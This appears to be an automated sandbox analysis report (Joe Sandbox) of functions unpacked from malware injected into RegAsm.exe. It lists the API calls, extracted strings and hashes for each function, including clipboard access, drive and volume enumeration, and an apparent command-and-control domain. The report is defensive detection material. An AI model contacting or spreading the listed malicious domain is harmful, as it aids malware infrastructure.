Function 00437520 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 12libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL(0043A6DC,005C003F,00000006,?,?,00000018,gxyz,?,[A), ref: 00437546

Strings

gxyz, xrefs: 00437534

Memory Dump Source

Source File: 00000002.00000002.1767993098.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: InitializeThunk
String ID: gxyz
API String ID: 2994545307-2474275795
Opcode ID: 3af67e3b8a4cf002b2d8122619789f5e408d063de0ae60c6913db66b84c766ee
Instruction ID: 9a2a3e30e6272c7ba4599b7d5b49d8b1df743313db24dc7d28a19b0c9381744b
Opcode Fuzzy Hash: 3af67e3b8a4cf002b2d8122619789f5e408d063de0ae60c6913db66b84c766ee
Instruction Fuzzy Hash: 82D04875908216AB9A09CF44C54040EFBE6BFC4714F228C8EA88873214C3B0BD46EB82

Function 00418D70 Relevance: 1.4, Strings: 1, Instructions: 146COMMON

Download Yara Rule

Strings

"YZ[, xrefs: 00418E98

Memory Dump Source

Source File: 00000002.00000002.1767993098.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID:
String ID: "YZ[
API String ID: 0-4110389300
Opcode ID: 31b484282694f6e8c43cda5c4d52067a60a85ba653bf103d8845e6e40a323193
Instruction ID: d280b8bb8775b920744270ba11066081adf2cf3060c7dfadf52e50f32a473ab1
Opcode Fuzzy Hash: 31b484282694f6e8c43cda5c4d52067a60a85ba653bf103d8845e6e40a323193
Instruction Fuzzy Hash: 3441AD75908300AFE304CF14D841AABB7E8EB8A715F14492EF89997291D734E945CBAA

Function 0041AE00 Relevance: 1.4, Strings: 1, Instructions: 134COMMON

Download Yara Rule

Strings

HI, xrefs: 0041AE30

Memory Dump Source

Source File: 00000002.00000002.1767993098.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID:
String ID: HI
API String ID: 0-1987653318
Opcode ID: 78898c2ac3ca5542d1acd65899c02281d588040632ae9e14fcc832d8b3f78bd0
Instruction ID: 2e9bf0c3544dcb9dba9ac1b4cbfe286574d91a8659f82c4e980938d653e6e103
Opcode Fuzzy Hash: 78898c2ac3ca5542d1acd65899c02281d588040632ae9e14fcc832d8b3f78bd0
Instruction Fuzzy Hash: FF31B9B11083108BC304CF18C89166BB7F1EFC6768F058A0DE8995B391E778DA86C79B

Function 004171F0 Relevance: .4, Instructions: 363COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.1767993098.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5c5417a8b948ec743c194478a2ff1e7afc2aedeaf3ac3954bc74f08137ada3a3
Instruction ID: 95d119ecc987bd34548f78724ecd05f9006e542f7f9d6d9d18c23bd0f6df81d8
Opcode Fuzzy Hash: 5c5417a8b948ec743c194478a2ff1e7afc2aedeaf3ac3954bc74f08137ada3a3
Instruction Fuzzy Hash: 18B1C0756047008FC725CF24D881A6777F1FF4A318F04496DE89A8B362EB39E855CB55

Function 00415ED0 Relevance: .3, Instructions: 332COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.1767993098.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: be29a9d17091c925a7693f550fa40bc7e8c61c87d5c4b67eb505104833ec1509
Instruction ID: d56b363b32c8beb3380ae49f8b8faefbd28fc9a3c56214eb7b8724f7f71b33d8
Opcode Fuzzy Hash: be29a9d17091c925a7693f550fa40bc7e8c61c87d5c4b67eb505104833ec1509
Instruction Fuzzy Hash: 44B19FB5500B009FD334DF29C841BA7B7F5FB8A314F004A2EE8AA9B691D734B855CB95

Function 004165AF Relevance: .1, Instructions: 61COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.1767993098.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 12c35ff32a941bbdd420e162e73015a5446485cd7d853dcd78e1964a16e6aef2
Instruction ID: 000d420b29e8b2bc770a7e891213e3c80a8676ac310d898d64984dfe42be987d
Opcode Fuzzy Hash: 12c35ff32a941bbdd420e162e73015a5446485cd7d853dcd78e1964a16e6aef2
Instruction Fuzzy Hash: 48216D70614B418BD728CF16D5A0667B7F2EF8A314B16892EC49B47B61C734F881CB48

Function 0042D116 Relevance: .0, Instructions: 23COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.1767993098.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 375752fc342660fb8d7842500cb6bbfa4f583deba857333384c60da2b879e233
Instruction ID: bc14edb032e1fb851f8eb3306ff7d1bf8742c1693749d57a1092b902da12a046
Opcode Fuzzy Hash: 375752fc342660fb8d7842500cb6bbfa4f583deba857333384c60da2b879e233
Instruction Fuzzy Hash: AFF012B16097818FD341CF24D46475ABFF0BF89364F46849ED09ACB292DB74A945CB42

Function 0042BA9A Relevance: 14.1, APIs: 1, Strings: 7, Instructions: 84
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SysAllocString.OLEAUT32 ref: 0042BBE2

Strings

<, xrefs: 0042BAD8
3, xrefs: 0042BB18
), xrefs: 0042BAF8
;, xrefs: 0042BAC8
=, xrefs: 0042BB08
B, xrefs: 0042BAE8
L, xrefs: 0042BB28

Memory Dump Source

Source File: 00000002.00000002.1767993098.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: AllocString
String ID: )$3$;$<$=$B$L
API String ID: 2525500382-2118984423
Opcode ID: 14bc91b4c46de7d0f804d7d3072f5966408285fe5e4ddedd000de0d1e3b31817
Instruction ID: 75c76199725b50b685daf509c0d1850dfe4da42573acd9abfaf945439588bc3e
Opcode Fuzzy Hash: 14bc91b4c46de7d0f804d7d3072f5966408285fe5e4ddedd000de0d1e3b31817
Instruction Fuzzy Hash: B241C27050C7C18AD331CB28C45879BBFE1ABD6324F448A5DE0E98B2D2CBB49646DB57

Function 0040A9C0 Relevance: 6.1, APIs: 2, Strings: 1, Instructions: 808
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryExW.KERNELBASE ref: 0040AB5A
GetProcessVersion.KERNEL32 ref: 0040AED7

Strings

bitchsafettyudjwu.shop, xrefs: 0040AE66, 0040B64A

Memory Dump Source

Source File: 00000002.00000002.1767993098.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: LibraryLoadProcessVersion
String ID: bitchsafettyudjwu.shop
API String ID: 1829952579-1697548893
Opcode ID: 924ec4a804c20c79db334e8f53de515e8df086008f8c0ecd28f39c2135d291e3
Instruction ID: 1da61f1cdbcbe1651f9779321b3aafe811b7af53e1d52620931f90ed08967b0b
Opcode Fuzzy Hash: 924ec4a804c20c79db334e8f53de515e8df086008f8c0ecd28f39c2135d291e3
Instruction Fuzzy Hash: E1925C70508B81CED321CB38C844797BFE1AB16314F144A6ED0EA9B7D2D779A449CB6B

Function 0043317D Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 50
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetVolumeInformationW.KERNELBASE(?,00000000,00000000,?,00000000,00000000,00000000,00000000,00000000), ref: 004331F5

Strings

1-H, xrefs: 004331F7
\, xrefs: 004331C0

Memory Dump Source

Source File: 00000002.00000002.1767993098.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: InformationVolume
String ID: 1-H$\
API String ID: 2039140958-3850842569
Opcode ID: 3a8dea79b50a5e21bb71dc4082ff2fb25f48b6962291f46884597ba42e2198e9
Instruction ID: 5d9a0e9c960a7d33cae1679c9d7b762b03f65cc893c2dcae2fb953d0a8b5b719
Opcode Fuzzy Hash: 3a8dea79b50a5e21bb71dc4082ff2fb25f48b6962291f46884597ba42e2198e9
Instruction Fuzzy Hash: B6F06D78294300BEF224AF51DD03F1A72A5ABC5F09F30992CB2443A2D1D6F47905CA5D

Function 004267DF Relevance: 3.9, APIs: 1, Strings: 1, Instructions: 445COMMON

Download Yara Rule

APIs

GetPhysicallyInstalledSystemMemory.KERNELBASE(?), ref: 00428497

Strings

yKg, xrefs: 004285A6

Memory Dump Source

Source File: 00000002.00000002.1767993098.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: InstalledMemoryPhysicallySystem
String ID: yKg
API String ID: 3960555810-531747830
Opcode ID: 8bf82030cec6a9ad0efd7bc05bda0530c0a12c054bcf5cf18ca1a9aca7f373fe
Instruction ID: afd000dd50fbca840850aa0c3c88bc22a244ac5a8cf2b48d6427651755728cd0
Opcode Fuzzy Hash: 8bf82030cec6a9ad0efd7bc05bda0530c0a12c054bcf5cf18ca1a9aca7f373fe
Instruction Fuzzy Hash: 85E1D2702052518FD729CF29D490726FBF2BF56304F28859EC4DA8F782D739A805CB99

Function 004371A2 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 131libraryCOMMON

Download Yara Rule

APIs

LoadLibraryExW.KERNELBASE(?,00000000,00000800), ref: 00437298

Strings

p%J', xrefs: 004372C4

Memory Dump Source

Source File: 00000002.00000002.1767993098.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: LibraryLoad
String ID: p%J'
API String ID: 1029625771-3680627055
Opcode ID: b03a9d388fc1c7845ae3f5e6dc9ba26b4857e129472a3e3170184674395e9c8c
Instruction ID: 36f330ba3dad1352f45bb05c99e2d24d4fc91ff7c869d8a236f8cc2f9754142e
Opcode Fuzzy Hash: b03a9d388fc1c7845ae3f5e6dc9ba26b4857e129472a3e3170184674395e9c8c
Instruction Fuzzy Hash: EA41D2B56542868FD729CF28C8D0B56BBF1FF5A300B28999DD8C1CB756C638A406CB94

Function 00409890 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 32COMMON

Download Yara Rule

APIs

ExitProcess.KERNEL32 ref: 004098F7

Strings

system or character via spellings glyphs a is uses that in their modified other on often reflection or resemblance on it leetspeak, used similarity internet. play eleet the of the replacements of primarily ways, xrefs: 004098C2

Memory Dump Source

Source File: 00000002.00000002.1767993098.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: ExitProcess
String ID: system or character via spellings glyphs a is uses that in their modified other on often reflection or resemblance on it leetspeak, used similarity internet. play eleet the of the replacements of primarily ways
API String ID: 621844428-780655312
Opcode ID: a9734080bae07a464f98f8ba5c8e770db3b188e7888a8e107250778e63c86fd4
Instruction ID: ec518c94b98ee3263fccb122146f130969d3e20a4343a08fdd3a0d5e89f87d40
Opcode Fuzzy Hash: a9734080bae07a464f98f8ba5c8e770db3b188e7888a8e107250778e63c86fd4
Instruction Fuzzy Hash: F4F05EF282861096C61037775A0326E7A545F22358F01903FED80713C3EB7D8809A6DF

Function 00437470 Relevance: 1.6, APIs: 1, Instructions: 53memoryCOMMON

Download Yara Rule

APIs

RtlReAllocateHeap.NTDLL(?,00000000), ref: 004374F1

Memory Dump Source

Source File: 00000002.00000002.1767993098.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: 26d1188ee968bf41f6b61f89a8a125ecd95126f0502c7fff6d94cb35ffa4d202
Instruction ID: 25f0e6dc3fcc1ba59fedb68b2305f42c7ac30a6e42c2915ced9597638a948f82
Opcode Fuzzy Hash: 26d1188ee968bf41f6b61f89a8a125ecd95126f0502c7fff6d94cb35ffa4d202
Instruction Fuzzy Hash: 23016936A083109BC311DF09C88074BBBA3EFC8725F14CA1DE9D417664C379AC568BC2

Function 0040FE8F Relevance: 1.6, APIs: 1, Instructions: 50COMMON

Download Yara Rule

APIs

GetSystemDirectoryW.KERNEL32(?,00000104), ref: 0040FE95

Memory Dump Source

Source File: 00000002.00000002.1767993098.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: DirectorySystem
String ID:
API String ID: 2188284642-0
Opcode ID: 440ef4bc68db77490fe4eb25ab21aa53b15c9447e4dd7124a3021fba07638529
Instruction ID: 56cb7ace2f75cce823e8f57870bd41fa571cccf6c5220877850cb2abb5f36c17
Opcode Fuzzy Hash: 440ef4bc68db77490fe4eb25ab21aa53b15c9447e4dd7124a3021fba07638529
Instruction Fuzzy Hash: 930128F6E0016007D37883249C9227A32569FC5328F19413FD855D77E2DB3D4C558685

Function 00435172 Relevance: 1.5, APIs: 1, Instructions: 46memoryCOMMON

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(?,00000000), ref: 004351D4

Memory Dump Source

Source File: 00000002.00000002.1767993098.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: 6e3e84d1437e83f48da7ecb2a4c5a896dbc3042814263a5cf5a32fc3d2f1a14d
Instruction ID: 9e001fa10bd327055e935a1bb85f38787157271f68dd4fc1156b793af3c6225e
Opcode Fuzzy Hash: 6e3e84d1437e83f48da7ecb2a4c5a896dbc3042814263a5cf5a32fc3d2f1a14d
Instruction Fuzzy Hash: 5CF04F316082419BDB19EB14D9A0A2EF7B2EFD5704F148A5DE6C5132A1C7355C22CB8A

Function 00436BAF Relevance: 1.5, APIs: 1, Instructions: 16COMMON

Download Yara Rule

APIs

GetLogicalDrives.KERNELBASE ref: 00436BAF

Memory Dump Source

Source File: 00000002.00000002.1767993098.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: DrivesLogical
String ID:
API String ID: 999431828-0
Opcode ID: 2ef04481a336257e9ef6bd56323a48691569bf46f92e05498320c1c443db00f0
Instruction ID: 757ffdf0fb752df967ca153b69be1638c16994d948b637b117849b5fc8d8cf46
Opcode Fuzzy Hash: 2ef04481a336257e9ef6bd56323a48691569bf46f92e05498320c1c443db00f0
Instruction Fuzzy Hash: 08E0C2756407009FC350DF05EC42A2777F1EB89704700083DE402C3396C734A804CB18

Function 004352B2 Relevance: 1.5, APIs: 1, Instructions: 10memoryCOMMON

Download Yara Rule

APIs

RtlFreeHeap.NTDLL(?,00000000,?), ref: 004352B8

Memory Dump Source

Source File: 00000002.00000002.1767993098.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: FreeHeap
String ID:
API String ID: 3298025750-0
Opcode ID: f1606b2ba95e15313dbab914cadcf7528d2f9d4c27597b0747b3033836c29d3b
Instruction ID: c3e0e88b322fb45c369fc8747f393fe10f381de69fb9e740cdaa004beb4260c0
Opcode Fuzzy Hash: f1606b2ba95e15313dbab914cadcf7528d2f9d4c27597b0747b3033836c29d3b
Instruction Fuzzy Hash: 3EB0923BA40108A9DF212A98BC01BCCB724EB84265F108163E71855040823292244690

Non-executed Functions

Function 0042E680 Relevance: 24.6, APIs: 6, Strings: 8, Instructions: 120clipboardCOMMON

Download Yara Rule

APIs

OpenClipboard.USER32 ref: 0042E69D
GetWindowLongW.USER32 ref: 0042E6C0
GetClipboardData.USER32 ref: 0042E6D4
GlobalLock.KERNEL32 ref: 0042E6F9
GlobalUnlock.KERNEL32 ref: 0042E81A
CloseClipboard.USER32 ref: 0042E825

Strings

F, xrefs: 0042E74E
L, xrefs: 0042E762
P, xrefs: 0042E776
U, xrefs: 0042E75D
^, xrefs: 0042E76C
[, xrefs: 0042E771
G, xrefs: 0042E758
R, xrefs: 0042E753

Memory Dump Source

Source File: 00000002.00000002.1767993098.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: Clipboard$Global$CloseDataLockLongOpenUnlockWindow
String ID: F$G$L$P$R$U$[$^
API String ID: 2832541153-1331671791
Opcode ID: af43edbf7669b4f459e9b96f902f02a9e3870ca5603eb9944210f72b68121a02
Instruction ID: c9527c498a4d632a20df3cd58748e7b8776409ea439d0e3166b93a01e0573a5d
Opcode Fuzzy Hash: af43edbf7669b4f459e9b96f902f02a9e3870ca5603eb9944210f72b68121a02
Instruction Fuzzy Hash: D351287190C390CBD300EB29D44835FBFE0AB9A318F440A5EE8D957292D7799909DB9B

Function 004182FE Relevance: 7.8, Strings: 6, Instructions: 290COMMON

Download Yara Rule

Strings

TU, xrefs: 004183DF
<=, xrefs: 0041858C
_Z, xrefs: 00418636
t-[#, xrefs: 00418348
_L, xrefs: 0041863E
^a, xrefs: 0041862E

Memory Dump Source

Source File: 00000002.00000002.1767993098.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID:
String ID: <=$TU$^a$_L$_Z$t-[#
API String ID: 0-1362180010
Opcode ID: 90c59bc6343016d2b030d3b7261e5d0369e39779251c57453a25c7fbe7e367c2
Instruction ID: dbc8a93944392250a53c063f075270cb10284053a0b6e2f61ab9c54cf473faf4
Opcode Fuzzy Hash: 90c59bc6343016d2b030d3b7261e5d0369e39779251c57453a25c7fbe7e367c2
Instruction Fuzzy Hash: 6EC155B0508341ABD754CF14C89069FBBF2EFC63A8F54991DE4C99B261DB38D885CB4A

Function 00433462 Relevance: 7.8, Strings: 6, Instructions: 278COMMON

Download Yara Rule

Strings

B7C, xrefs: 00433738
r6C, xrefs: 00433659
26C, xrefs: 00433623
27C, xrefs: 0043372A
B6C, xrefs: 00433635
789:, xrefs: 00433681

Memory Dump Source

Source File: 00000002.00000002.1767993098.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID:
String ID: 26C$27C$789:$B6C$B7C$r6C
API String ID: 0-3075561139
Opcode ID: 9775384729ed828753f77e29eb136aeacf9d7d30d22adb09796049daabd8e28c
Instruction ID: 9c983fa4abdd4bde5f2217727c2d2cc958e68b9fe08107502c54f52696ebd130
Opcode Fuzzy Hash: 9775384729ed828753f77e29eb136aeacf9d7d30d22adb09796049daabd8e28c
Instruction Fuzzy Hash: 28818A78604640DFD724CF29D890B26B7E2FB8E305F14892DE18A8BB92D735A915CB58

Function 00422E10 Relevance: 5.4, Strings: 4, Instructions: 437COMMON

Download Yara Rule

Strings

f/B, xrefs: 00422E77
3B, xrefs: 00422DF3
r1B, xrefs: 00423167
", xrefs: 00422FE5

Memory Dump Source

Source File: 00000002.00000002.1767993098.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID:
String ID: 3B$"$f/B$r1B
API String ID: 0-3692120770
Opcode ID: 8168132165a64e3d58e27e02496fb20dd3a8610cc433c5894b3ca2adfc7f9f56
Instruction ID: 23f1c6be7f045290fee8f0e6d37f877a36aa206be125206ae7b2dd0da60d4533
Opcode Fuzzy Hash: 8168132165a64e3d58e27e02496fb20dd3a8610cc433c5894b3ca2adfc7f9f56
Instruction Fuzzy Hash: 37D126317182509FC718CF2CE89032AB7E2AF8A725F59466EF4A5C73D1C7789E408759

Function 0041D2D4 Relevance: 2.9, Strings: 2, Instructions: 387COMMON

Download Yara Rule

Strings

i[S', xrefs: 0041D440
198:, xrefs: 0041D45C

Memory Dump Source

Source File: 00000002.00000002.1767993098.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID:
String ID: 198:$i[S'
API String ID: 0-1572211831
Opcode ID: e3208e49c3782cef7cba26df6f9d11536247aac12a0d716be709595865c047b0
Instruction ID: 5b057de0aa084a16de97f544fc6c683b9101436b8165939f1e3a77d3828dc7c9
Opcode Fuzzy Hash: e3208e49c3782cef7cba26df6f9d11536247aac12a0d716be709595865c047b0
Instruction Fuzzy Hash: 86D1A2B5604B11CFC324CF19C890A66B7F2FF8A314B198A6DD4968BBA1D774F846CB44

Function 00414166 Relevance: 2.7, Strings: 2, Instructions: 207COMMON

Download Yara Rule

Strings

D, xrefs: 00414486
>=, xrefs: 004142B3

Memory Dump Source

Source File: 00000002.00000002.1767993098.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID:
String ID: >=$D
API String ID: 0-2639938146
Opcode ID: be9b79ec75915bce8e82fc3add8755b1c6e66e0743bb7683ec99d6c7b1839b26
Instruction ID: c15b10d853bfd4cb65f9f21a8f133a050bdaf40d6f2a856c402b5e8ee1c4afbe
Opcode Fuzzy Hash: be9b79ec75915bce8e82fc3add8755b1c6e66e0743bb7683ec99d6c7b1839b26
Instruction Fuzzy Hash: 6B81F0B02093818BD3348F15C8A57DBBBE1EFC6715F04491DE4CA8B390D7B99989CB86

Function 004390D0 Relevance: 2.6, Strings: 1, Instructions: 1315COMMON

Download Yara Rule

Strings

|MJK, xrefs: 00439116

Memory Dump Source

Source File: 00000002.00000002.1767993098.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID:
String ID: |MJK
API String ID: 0-2474107196
Opcode ID: 57b3671accc7f5b69f25d98514e57db2be032d40b24230f25d237f1975987f1c
Instruction ID: c78ef94e20db58684c1d5cc47ae36e2a547e4f8977e06cd5561e301cb6821edd
Opcode Fuzzy Hash: 57b3671accc7f5b69f25d98514e57db2be032d40b24230f25d237f1975987f1c
Instruction Fuzzy Hash: 5092BF75608601CFC324CF28D4A0656B7F2FF8E314F2989ADD49A8B765D735E802CB85

Function 00426DC3 Relevance: 1.9, APIs: 1, Instructions: 372COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.1767993098.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2e8182ab48142da27faac68e6aa89116dad812e5088c82744624b8c778d5f335
Instruction ID: 4096a0224f02cd9a3843627fab4f3df2b13e3c72cb5746658c6c42ba0a824713
Opcode Fuzzy Hash: 2e8182ab48142da27faac68e6aa89116dad812e5088c82744624b8c778d5f335
Instruction Fuzzy Hash: D2D123343047918FD724CF29D490722BBE2FF9A314F29865ED4964F796C339A806CB99

Function 0041F836 Relevance: 1.4, Strings: 1, Instructions: 113COMMON

Download Yara Rule

Strings

onih, xrefs: 0041F88E

Memory Dump Source

Source File: 00000002.00000002.1767993098.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID:
String ID: onih
API String ID: 0-4145997799
Opcode ID: e4e5f119c6238629f440298be02618f47c5a4d5ef3fffe9f341b6665d6c868ac
Instruction ID: a7302447a54ea9c1b9df3558ceabc8489bd4b3bf1806557d69fc53d8fbb872cf
Opcode Fuzzy Hash: e4e5f119c6238629f440298be02618f47c5a4d5ef3fffe9f341b6665d6c868ac
Instruction Fuzzy Hash: 69410A746093908FD738EB14D4957BFB7E2BB85304F584A2ED89E07682CB795801CB9A

Function 0041393C Relevance: 1.4, Strings: 1, Instructions: 104COMMON

Download Yara Rule

Strings

0M, xrefs: 00413940

Memory Dump Source

Source File: 00000002.00000002.1767993098.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID:
String ID: 0M
API String ID: 0-2532448545
Opcode ID: 2ea0f5afb1e3fa92b950ae5b47d4c5b44c1df292fc9b9a0af1372ccb1a7fc022
Instruction ID: 6b35f6668cfbec03612cbd2d53a5f4a705b8e9d4073ae824104ca8f784824917
Opcode Fuzzy Hash: 2ea0f5afb1e3fa92b950ae5b47d4c5b44c1df292fc9b9a0af1372ccb1a7fc022
Instruction Fuzzy Hash: 704132B56183808BD364CF54C994BABF7E1AFC9705F44882DE8C887251D7B89859CB0A

Function 00435540 Relevance: 1.3, Strings: 1, Instructions: 99COMMON

Download Yara Rule

Strings

789:, xrefs: 004355D6

Memory Dump Source

Source File: 00000002.00000002.1767993098.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID:
String ID: 789:
API String ID: 0-2924019492
Opcode ID: 657759941d647c75c84d5d8008414d1ca00f3ef34d012dab73d14797df32fd4a
Instruction ID: 6c0cdb15b9270e7e114422e5c28198eafb59e2664c2bd22ea699e54e1b1f0307
Opcode Fuzzy Hash: 657759941d647c75c84d5d8008414d1ca00f3ef34d012dab73d14797df32fd4a
Instruction Fuzzy Hash: A231ADB15083009FD310DF18C881B1BBBE4EB9A718F649A1EE5C89B351D739D946CB9A

Function 004154D3 Relevance: 1.3, Strings: 1, Instructions: 86COMMON

Download Yara Rule

Strings

ly, xrefs: 00415571

Memory Dump Source

Source File: 00000002.00000002.1767993098.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID:
String ID: ly
API String ID: 0-2705915852
Opcode ID: 9d4c3b9e094f93895b6a67317ad4e91c1c3fbd64577196aa351004df91c373c0
Instruction ID: d0d4023ecfa1ca95b005f225217a4b513438c1ff1b30136a020b2a7964472d22
Opcode Fuzzy Hash: 9d4c3b9e094f93895b6a67317ad4e91c1c3fbd64577196aa351004df91c373c0
Instruction Fuzzy Hash: 11313A745083818BC364CF28C494BEAB7E2AFCA314F040E2EE4D5972D1D77999198B5A

Function 00413880 Relevance: 1.3, Strings: 1, Instructions: 47COMMON

Download Yara Rule

Strings

Q, xrefs: 00413880

Memory Dump Source

Source File: 00000002.00000002.1767993098.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID:
String ID: Q
API String ID: 0-744326856
Opcode ID: 36b421d4aa49bbdd41745d214d22618537957d3124d5dee271275e7a82e43806
Instruction ID: 68a84f61381f676639cb5e0e3185e2846283d01a9d9c01ba11e698ec258e64b5
Opcode Fuzzy Hash: 36b421d4aa49bbdd41745d214d22618537957d3124d5dee271275e7a82e43806
Instruction Fuzzy Hash: 9E1112B46083818FD314DF24C895BABB7E5BB86304F444C2DE495C7291D778D909CB5A

Function 004396B0 Relevance: 1.0, Instructions: 958COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.1767993098.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6c55bdbff55b623930b1486ab7d3bbc00cadb3fd2fe9b9ac473e2e5251182c33
Instruction ID: 7b04560f4a576b29c28422f9e3fb4e4186c0be50249fc34aa410340bcf04dc5c
